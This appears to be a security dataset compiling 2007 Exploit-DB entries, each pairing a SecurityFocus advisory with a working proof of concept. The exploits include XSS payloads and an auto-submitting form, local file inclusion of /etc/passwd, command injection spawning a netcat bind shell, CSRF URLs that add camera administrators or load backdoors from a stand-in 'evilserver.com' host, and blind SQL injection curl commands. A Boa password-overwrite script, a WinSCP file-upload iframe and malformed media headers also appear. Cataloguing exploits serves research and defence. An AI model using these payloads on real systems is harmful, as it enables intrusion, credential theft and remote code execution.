QLWD/code_shield huggingface dataset:
标题: WebBatch - 'webbatch.exe?dumpinputdata' Remote Information Disclosure EDB-ID: 30599 CVE: 2007-5011 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/25744/info
 
WebBatch is prone to a cross-site scripting vulnerability and an information-disclosure vulnerability because it fails to adequately sanitize user-supplied input.
 
An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
The attacker may leverage the information-disclosure issue to obtain potentially sensitive information that could aid in further attacks.
 
Reports indicate that WebBatch 2007D is not affected by the cross-site scripting issue. 

http://www.example.com/webcgi/webbatch.exe?dumpinputdata URL: https://www.exploit-db.com/exploits/30599
标题: b1gMail 6.3.1 - 'hilfe.php' Cross-Site Scripting EDB-ID: 30596 CVE: 2007-4975 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25699/info

b1gMail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

b1gMail 6.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/hilfe.php?chapter="+onmouseover=alert(1898233298)+ URL: https://www.exploit-db.com/exploits/30596
标题: WordPress Core 2.0 - 'wp-register.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30602 CVE: 2007-5105 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/25769/info

WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects WordPress 2.0; other versions may also be affected. 

<html>
<head></head>
<body>

<form method="post" action="http://target/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/30602
标题: Coppermine Photo Gallery 1.4.12 - 'log' Local File Inclusion EDB-ID: 30595 CVE: 2007-4976 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25698/info
 
Coppermine Photo Gallery is prone to a cross-site scripting issue and a local file-include issue.
 
Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary code, and retrieve arbitrary content within the context of the webserver process.
 
Coppermine Photo Gallery 1.4.12 is vulnerable; other versions may also be affected. 

http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/30595
标题: Alcatel-Lucent OmniPCX Enterprise 7.1 - Remote Command Execution EDB-ID: 30591 CVE: 2007-3010 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25694/info

Alcatel-Lucent OmniPCX Enterprise is prone to a remote command-execution vulnerability because it fails to adequately sanitize user-supplied data.

Attackers can exploit this issue to execute arbitrary commands with the privileges of the 'httpd' user. Successful attacks may facilitate a compromise of the application and underlying webserver; other attacks are also possible.

Alcatel-Lucent OmniPCX Enterprise R7.1 and prior versions are vulnerable to this issue. 

curl -k "https://www.example.com/cgi-bin/masterCGI?ping=nomip&user=;ls\${IFS}-l;" URL: https://www.exploit-db.com/exploits/30591
标题: WinImage 8.0/8.10 - '.IMG' File BPB_BytsPerSec Field Denial of Service EDB-ID: 30590 CVE: 2007-4964 类型: DOS 平台: WINDOWS 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25687/info
 
WinImage is prone to a denial-of-service vulnerability and a directory-traversal vulnerability because the application fails to adequately sanitize user-supplied input.
 
Attackers can exploit these issues to cause a denial of service or to write malicious files to arbitrary directories.
 
WinImage 8.0 and 8.10 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30590.zip URL: https://www.exploit-db.com/exploits/30590
标题: Axis Communications 207W Network Camera - Web Interface 'axis-cgi/admin/pwdgrp.cgi' Multiple Cross-Site Request Forgery Vulnerabilities EDB-ID: 30586 CVE: 2007-4930 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25678/info
 
Axis Communications 207W Network Camera is prone to multiple vulnerabilities in the web interface. Three issues were reported: a cross-site scripting vulnerability, a cross-site request-forgery vulnerability, and a denial-of-service vulnerability.
 
Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device.
 
Add a new administrator -
http://www.example.com/axis-cgi/admin/pwdgrp.cgi?action=add&user=owner1&grp=axuser&sgrp=axview:axoper:axadmin&pwd=owner1&comment=WebUser&return_page=/admin/users_set.sh
+tml%3Fpageclose%3D1 URL: https://www.exploit-db.com/exploits/30586
标题: Python 2.2 ImageOP Module - Multiple Integer Overflow Vulnerabilities EDB-ID: 30592 CVE: 2007-4965 类型: DOS 平台: MULTIPLE 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25696/info

Python's imageop module is prone to multiple integer-overflow vulnerabilities because it fails to properly bounds-check user-supplied input to ensure that integer operations do not overflow.

To successfully exploit these issues, an attacker must be able to control the arguments to imageop functions. Remote attackers may be able to do this, depending on the nature of applications that use the vulnerable functions.

Attackers would likely submit invalid or specially crafted images to applications that perform imageop operations on the data.

A successful exploit may allow attacker-supplied machine code to run in the context of affected applications, facilitating the remote compromise of computers. 

#!/usr/bin/python

import imageop

sexshit = "a"*1603
evil = "p"*5241
connard = "s"*2000
supaire= "45"*65
print supaire
connard = "cool"
salope = "suceuse"
dtc = imageop.tovideo(sexshit,1,4461,-2147002257)
sexshit = "dtc"*52
print connard,supaire," fin de dump" URL: https://www.exploit-db.com/exploits/30592
标题: WinImage 8.0/8.10 - File Handling Traversal Arbitrary File Overwrite EDB-ID: 30589 CVE: 2007-4962 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25687/info

WinImage is prone to a denial-of-service vulnerability and a directory-traversal vulnerability because the application fails to adequately sanitize user-supplied input.

Attackers can exploit these issues to cause a denial of service or to write malicious files to arbitrary directories.

WinImage 8.0 and 8.10 are vulnerable; other versions may also be affected. 

readme.txt/../../../../../../../../sth.bat
readme.txt<40 spaces here>/../../../../../../../../asdf.exe URL: https://www.exploit-db.com/exploits/30589
标题: Axis Communications 207W Network Camera - Web Interface axis-cgi/admin/restart.cgi Cross-Site Request Forgery EDB-ID: 30585 CVE: 2007-4930 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25678/info

Axis Communications 207W Network Camera is prone to multiple vulnerabilities in the web interface. Three issues were reported: a cross-site scripting vulnerability, a cross-site request-forgery vulnerability, and a denial-of-service vulnerability.

Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device. 

Reboot the camera - http://www.example.com/axis-cgi/admin/restart.cgi URL: https://www.exploit-db.com/exploits/30585
标题: PHP-Stats 0.1.9.2 - 'Tracking.php' Cross-Site Scripting EDB-ID: 30583 CVE: 2007-4917 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25674/info

Php-Stats is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Php-Stats 0.1.9.2; other versions may also be affected.

http://www.example.com/php-stats-path/tracking.php?what=online&ip=[XSS] URL: https://www.exploit-db.com/exploits/30583
标题: Coppermine Photo Gallery 1.4.12 - 'referer' Cross-Site Scripting EDB-ID: 30594 CVE: 2007-4977 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25698/info

Coppermine Photo Gallery is prone to a cross-site scripting issue and a local file-include issue.

Attackers can exploit these issues to steal cookie-based authentication credentials, execute arbitrary code, and retrieve arbitrary content within the context of the webserver process.

Coppermine Photo Gallery 1.4.12 is vulnerable; other versions may also be affected. 

http://www.example.com/cpg/mode.php?admin_mode=1&referer=javascript:alert(document.cookie) URL: https://www.exploit-db.com/exploits/30594
标题: ewire Payment Client 1.60/1.70 - Command Execution EDB-ID: 30588 CVE: 2007-4925 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/25683/info

ewire Payment Client is prone to a vulnerability that allows attackers to execute arbitrary shell commands because the software fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary shell commands on an affected computer with the privileges of the application using the affected class utility.

ewire Payment Client 1.60 and 1.70 are vulnerable to this issue. 

GET
http://www.example.com/simplePHPLinux/3payment_receive.php?paymentin
fo=`/bin/nc -l -p6666 -e /bin/bash`
$ telnet www.example.com 6666
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data) URL: https://www.exploit-db.com/exploits/30588
标题: Microsoft MFC Library - CFileFind::FindFile Buffer Overflow EDB-ID: 30593 CVE: 2007-4916 类型: DOS 平台: WINDOWS 发布日期: 2007-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25697/info

The CFileFind::FindFile method in the MFC library for Microsoft Windows is prone to a buffer-overflow vulnerability because the method fails to perform adequate boundary checks of user-supplied input.

Successfully exploiting this issue may allow attackers to execute arbitrary code in the context of applications that use the vulnerable method.

The MFC library included with Microsoft Windows XP SP2 is affected; other versions may also be affected.

This issue also occurs in the 'hpqutil.dll' ActiveX control identified by CLSID: F3F381A3-4795-41FF-8190-7AA2A8102F85. 

<object classid='clsid:F3F381A3-4795-41FF-8190-7AA2A8102F85' id='pAF'>
</object>
<input type="button" value="heap" language="VBScript" OnClick="OuCh()">
<script language="VBScript">
sub OuCh()
Var_0 = String(620, "A")
pAF.ListFiles Var_0
End Sub
</script> URL: https://www.exploit-db.com/exploits/30593
标题: Boa 0.93.15 - Administrator Password Overwrite Authentication Bypass EDB-ID: 30584 CVE: 2007-4915 类型: DOS 平台: LINUX 发布日期: 2007-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25676/info

Boa is prone to an authentication-bypass vulnerability because the application fails to ensure that passwords are not overwritten by specially crafted HTTP Requests.

An attacker can exploit this issue to gain unauthorized access to the affected application. This may lead to other attacks.

This issue affects Boa 0.93.15; other versions may also be affected.

NOTE: This issue affects only Boa with Intersil Extensions installed. 

#!/usr/bin/env python
import urllib2

SERVER_IP_ADDRESS = '192.168.0.1'
USERNAME =
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owned'

auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('LOGIN(default username & password is admin)',
SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD);
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
res = urllib2.urlopen('http://'+SERVER_IP_ADDRESS+'/home/index.shtml') URL: https://www.exploit-db.com/exploits/30584
标题: Axis Communications 207W Network Camera - Web Interface '/admin/restartMessage.shtml?server' Cross-Site Request Forgery EDB-ID: 30587 CVE: 2007-4930 类型: WEBAPPS 平台: CGI 发布日期: 2007-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/25678/info
  
Axis Communications 207W Network Camera is prone to multiple vulnerabilities in the web interface. Three issues were reported: a cross-site scripting vulnerability, a cross-site request-forgery vulnerability, and a denial-of-service vulnerability.
  
Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device.

Root the camera/add a backdoor -  
http://www.example.com/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=http://www.evilserver.com/wifi/axisbd.php><iframe
src=http://www.evilserver.com/wifi/axisrb.htm><!â?? URL: https://www.exploit-db.com/exploits/30587
标题: KMPlayer 2.9.3.1214 - Multiple Remote Denial of Service Vulnerabilities EDB-ID: 30580 CVE: 2007-4941 类型: DOS 平台: LINUX 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25651/info

KMPlayer is prone to multiple denial-of-service vulnerabilities when handling malformed AVI media files.

Successfully exploiting this issue allows remote attackers to deny service to legitimate users.

These issues affect KMPlayer 2.9.3.1210; other versions may also be vulnerable. 

new_avihead_poc1.avi
------------------------------------------
69 6E 64 78 FF FF FF FF 01 00 64 73 20 00 00 10

indx truck size 0xffffffff
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020

new_avihead_poc2.avi
------------------------------------------
69 6E 64 78 00 FF FF FF FF FF 64 73 FF FF FF FF

indx truck size 0xffffff00
wLongsPerEntry 0xffff
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0xFFFFFFFF

new_avihead_poc3.avi
------------------------------------------
69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020 URL: https://www.exploit-db.com/exploits/30580
标题: CS-Guestbook 0.1 - Login Credentials Information Disclosure EDB-ID: 30581 CVE: 2007-4937 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25652/info

CS-Guestbook is prone to an information-disclosure vulnerability because the application fails to properly protect sensitive information.

An attacker can exploit this issue to access sensitive information that may lead to further attacks. 

http://www.example.com/guest/base/usr/0.php URL: https://www.exploit-db.com/exploits/30581
标题: WinSCP 4.0.3 - URL Protocol Handler Arbitrary File Access EDB-ID: 30582 CVE: 2007-4909 类型: REMOTE 平台: WINDOWS 发布日期: 2007-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/25655/info

WinSCP is prone to a vulnerability that lets an attacker upload arbitrary files to a victim's computer or to download arbitrary files from the victim's computer in the context of the vulnerable application.

This issue affects versions prior to WinSCP 4.0.4.

<iframe src='scp:password@yourhost.com:" /console /command "option
confirm off" "put c:\boot.ini" close exit "'/> URL: https://www.exploit-db.com/exploits/30582
标题: SWSoft Plesk 8.2 - 'login.php3' PLESKSESSID Cookie SQL Injection EDB-ID: 30577 CVE: 2007-4892 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25646/info

Plesk is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in SQL queries.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Plesk 7.6.1, 8.1.0, 8.1.1, and 8.2.0 for Microsoft Windows are vulnerable; other versions running on different platforms may also be affected. 

1) Delay=5224.3877
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,1,1)=char(97),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

2) Delay=5165.3031
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,2,1)=char(100),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

3) Delay=5158.9512
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,3,1)=char(109),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

4) Delay=5224.0980
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,4,1)=char(105),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*"

5) Delay=5241.5251
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,5,1)=char(110),BENCHMARK(3000000,MD5(CHAR(1))),null),2,3
from mysql.user/*" URL: https://www.exploit-db.com/exploits/30577
标题: CellFactor REvolution 1.03 - Multiple Remote Code Execution Vulnerabilities EDB-ID: 30574 CVE: 2007-4838 类型: DOS 平台: MULTIPLE 发布日期: 2007-09-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/25625/info

CellFactor: Revolution is prone to multiple remote code-execution vulnerabilities, including a buffer-overflow issue and a format-string issue.

Successfully exploiting these issues will allow an attacker to execute arbitrary code within the context of the affected application or to crash the application.

CellFactor: Revolution 1.03 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30574.zip URL: https://www.exploit-db.com/exploits/30574
标题: BOINC 5.10.20 - 'forum_forum.php?id' Cross-Site Scripting EDB-ID: 30575 CVE: 2007-4899 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25644/info

BOINC (Berkeley Open Infrastructure for Network Computing) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affects BOINC 5.10.20; other versions may also be affected. 

http://www.example.com/forum_forum.php?id=[XSS] URL: https://www.exploit-db.com/exploits/30575
标题: BOINC 5.10.20 - 'text_search_action.php?search_string' Cross-Site Scripting EDB-ID: 30576 CVE: 2007-4899 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25644/info
 
BOINC (Berkeley Open Infrastructure for Network Computing) is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affects BOINC 5.10.20; other versions may also be affected. 

http://www.example.com/forum_text_search_action.php?search_string=[XSS]&titles=Search
http://www.example.com/forum_text_search_action.php?search_string=[XSS]&bodies=Search URL: https://www.exploit-db.com/exploits/30576
标题: MPlayer 1.0 - AVIHeader.C Heap Buffer Overflow EDB-ID: 30578 CVE: 2007-4938 类型: DOS 平台: LINUX 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25648/info

MPlayer is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input data.

Attackers can exploit this issue to execute arbitrary code with the privileges of the user running the application. Failed attacks will result in denial-of-service conditions.

MPlayer 1.0rc1 is vulnerable; other versions may also be affected.

NOTE: The vendor states that this issue is present only on operating systems with a 'calloc' implementation that is prone to an integer-overflow issue. 

The following proof-of-concept AVI header data is available:
69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020 URL: https://www.exploit-db.com/exploits/30578
标题: Media Player Classic 6.4.9 - Malformed AVI Header Multiple Remote Vulnerabilities EDB-ID: 30579 CVE: 2007-4939 类型: DOS 平台: LINUX 发布日期: 2007-09-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/25650/info

Media Player Classic (MPC) is prone to multiple remote vulnerabilities, including a heap-based buffer-overflow issue and an integer-overflow issue, when handling malformed AVI files.

An attacker can exploit these issues to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

Media Player Classic 6.4.9.0 is vulnerable; other versions may also be affected.

The following examples of AVI header data are available:

69 6E 64 78 FF FF FF FF 01 00 64 73 20 00 00 10

indx truck size 0xffffffff
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020
69 6E 64 78 00 FF FF FF FF FF 64 73 FF FF FF FF

indx truck size 0xffffff00
wLongsPerEntry 0xffff
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0xFFFFFFFF

69 6E 64 78 00 FF FF FF 01 11 64 73 20 00 00 10

indx truck size 0xffffff00
wLongsPerEntry 0x0001
BIndexSubType is 0x64
bIndexType is 0x73
nEntriesInuse is 0x10000020 URL: https://www.exploit-db.com/exploits/30579
标题: Alien Arena 2007 6.10 - Multiple Remote Vulnerabilities EDB-ID: 30566 CVE: 2007-4754 类型: DOS 平台: MULTIPLE 发布日期: 2007-09-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/25559/info

Alien Arena 2007 is prone to multiple remote vulnerabilities, including a denial-of-service vulnerability and a format-string vulnerability.

Successfully exploiting these issues will allow an attacker to execute arbitrary code within the context of the affected application or to disconnect users from the game server.

Alien Arena 2007 6.10 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30566.zip URL: https://www.exploit-db.com/exploits/30566